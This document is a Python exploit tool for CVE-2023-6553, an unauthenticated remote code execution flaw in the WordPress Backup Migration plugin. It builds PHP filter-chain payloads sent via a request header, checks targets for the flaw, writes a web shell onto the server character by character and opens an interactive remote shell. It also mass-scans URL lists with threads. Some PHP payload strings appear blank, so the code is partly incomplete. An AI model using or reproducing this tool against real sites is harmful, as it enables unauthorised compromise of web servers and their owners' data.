import re import random import string import argparse import requests from rich.console import Console from rich.progress import Progress from alive_progress import alive_bar from prompt_toolkit import PromptSession from prompt_toolkit.formatted_text import HTML from prompt_toolkit.history import InMemoryHistory from php_filter_chain import PHPFilterChainGenerator from concurrent.futures import ThreadPoolExecutor, as_completed from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class CVE_2023_6553: """ A class to exploit the CVE-2023-6553 vulnerability. Attributes: base_url (str): Base URL of the target website. random_file_name (str): Randomly generated file name used for exploitation. """ def __init__(self, base_url): """ Initializes the CVE_2023_6553 instance. Args: base_url (str): The base URL of the target website. file_name (str, optional): Specific file name to use. If not provided, a random name is generated. """ self.console = Console() self.base_url = base_url self.temp_file_name = random.choice(string.ascii_letters) self.random_file_name = ( "".join(random.choices(string.ascii_letters + string.digits, k=3)) + ".php" ) def generate_php_filter_payload(self, command): """ Generates a PHP filter payload for the given command. Args: command (str): The command to be executed on the target system. Returns: str: The generated PHP filter payload. """ generator = PHPFilterChainGenerator() return generator.generate_filter_chain(command) def send_payload(self, payload): """ Sends a payload to the target URL. Args: payload (str): The payload to be sent. Returns: bool: True if the payload was successfully sent and the page is empty, False otherwise. """ headers = {"Content-Dir": payload} try: response = requests.post( f"{self.base_url}/wp-content/plugins/backup-backup/includes/backup-heart.php", headers=headers, verify=False, timeout=10, ) return response.status_code == 200 except requests.exceptions.ChunkedEncodingError: return True except requests.exceptions.RequestException as e: return False def check_vulnerability(self): """ Verifies if the target system is vulnerable to CVE-2023-6553. It attempts to write a randomly generated text to a specified file on the server. Then, it checks if the written text can be retrieved correctly. Returns: bool: True if the system is vulnerable (text written and retrieved matches), False otherwise. """ try: random_char = random.choice(string.ascii_letters) payload = ( f"" ) self.send_payload(self.generate_php_filter_payload(payload)) response = requests.get( f"{self.base_url}/wp-content/plugins/backup-backup/includes/{self.temp_file_name}", verify=False, timeout=10, ) if response.text.strip() == random_char: self.console.print( f"[bold green]{self.base_url} is vulnerable to CVE-2023-6553[/bold green]" ) return True except requests.exceptions.RequestException as e: pass return False def write_string_to_file(self, string_to_write): """ Writes a given string to a file on the server after confirming the system's vulnerability. It writes the string character by character, and if any character fails to write, the process stops. Args: string_to_write (str): The string to be written to the file. Returns: bool: True if the entire string is written successfully, False otherwise. """ init_command = f"" self.send_payload(self.generate_php_filter_payload(init_command)) with Progress() as progress: task = progress.add_task("[green]Writing...", total=len(string_to_write)) for char in string_to_write: hex_char = char.encode("utf-8").hex() command = f"" if not self.send_payload(self.generate_php_filter_payload(command)): print(f"Failed to send payload for character: {char}") return False progress.update(task, advance=1) final_file_name = f"{self.random_file_name}" copy_command = f"" self.send_payload(self.generate_php_filter_payload(copy_command)) delete_command = f"" self.send_payload(self.generate_php_filter_payload(delete_command)) return True def retrieve_command_output(self, command): """ Retrieves the output of a command executed via the vulnerability. Args: command (str): The command to execute. Returns: str: The output of the command. """ payload = {"0": command} try: response = requests.get( f"{self.base_url}/wp-content/plugins/backup-backup/includes/{self.random_file_name}", params=payload, verify=False, timeout=10, ) response_text = response.text match = re.search(r"\[S\](.*?)\[E\]", response_text, re.DOTALL) if match: return match.group(1) else: return "No output, maybe system functions are disabled..." except requests.exceptions.RequestException as e: return "Error retrieving command output: " + str(e) def interactive_shell(cve_exploit): """ Starts an interactive shell for exploiting the vulnerability. Args: cve_exploit (CVE_2023_6553): An instance of the CVE_2023_6553 class. """ console = Console() session = PromptSession(InMemoryHistory()) while True: try: cmd = session.prompt(HTML("# ")).strip().lower() if cmd == "exit": break if cmd == "clear": console.clear() continue output = cve_exploit.retrieve_command_output(cmd) console.print(f"[bold green]{output}[/bold green]") except KeyboardInterrupt: console.print(f"[bold yellow][+] Exiting...[/bold yellow]") break def check_single_url(url): """ Check if a single URL is vulnerable to the specified CVE. This function creates an instance of the CVE_2023_6553 class for the given URL and uses it to check if the target is vulnerable to the CVE-2023-6553 vulnerability. Args: url (str): The URL to be checked for vulnerability. Returns: str: A string indicating the URL is vulnerable, appended with a newline character. None: If the URL is not vulnerable or if an error occurred. """ cve_exploit = CVE_2023_6553(url) if cve_exploit.check_vulnerability(): return f"{url} is vulnerable to CVE-2023-6553\n" else: return None def check_urls_and_write_output(urls, max_workers, output_path): """ Check a list of URLs for vulnerability and write the vulnerable ones to an output file. This function uses a ThreadPoolExecutor to check each URL in the provided list for vulnerability in parallel. The number of worker threads used is defined by the max_workers parameter. If an output_path is provided, the vulnerable URLs are written to the file at that path. Args: urls (list of str): A list of URLs to be checked for vulnerability. max_workers (int): The maximum number of worker threads to use. output_path (str): The file path where the results should be written. If None, no file is written. Returns: list of str: A list of strings, each indicating a vulnerable URL. """ with ThreadPoolExecutor(max_workers=max_workers) as executor, alive_bar( len(urls), enrich_print=False ) as bar: futures = [executor.submit(check_single_url, url) for url in urls] output_file = open(output_path, "w") if output_path else None for future in as_completed(futures): result = future.result() if result and output_file: output_file.write(result) output_file.flush() bar() if output_file: output_file.close() def main(): parser = argparse.ArgumentParser( description="Backup Migration <= 1.3.7 - Unauthenticated Remote Code Execution" ) parser.add_argument("-u", "--url", help="Base URL for single target", default=None) parser.add_argument( "-f", "--file", help="File containing list of URLs (checks for vulnerability without deploying a shell)", default=None, ) parser.add_argument( "-t", "--threads", help="Number of threads to use (only with -f/--file)", type=int, default=5, ) parser.add_argument( "-o", "--output", help="Output file to save results (only with -f/--file)", default=None, ) parser.add_argument( "-c", "--check", help="Just check for vulnerability, don't exploit (only with -u/--url)", action="store_true", ) args = parser.parse_args() if args.url: cve_exploit = CVE_2023_6553(args.url) if cve_exploit.check_vulnerability(): if not args.check: cve_exploit.console.print( "[bold green]Initiating shell deployment. This may take a moment...[/bold green]" ) string_to_write = '' if cve_exploit.write_string_to_file(string_to_write): cve_exploit.console.print( f"[bold green]Shell written successfully.[/bold green]" ) interactive_shell(cve_exploit) cve_exploit.console.print( f"[bold yellow][!] Deleting shell...[/bold yellow]" ) delete_command = ( f"" ) cve_exploit.send_payload( cve_exploit.generate_php_filter_payload(delete_command) ) else: print("Failed to write shell.") else: cve_exploit.console.print( f"[bold red]{args.url} is not vulnerable to CVE-2023-6553[/bold red]" ) elif args.file: with open(args.file, "r") as file: urls = file.read().splitlines() check_urls_and_write_output( urls, max_workers=args.threads, output_path=args.output ) else: print("No URL or file provided. Exiting.") if __name__ == "__main__": main()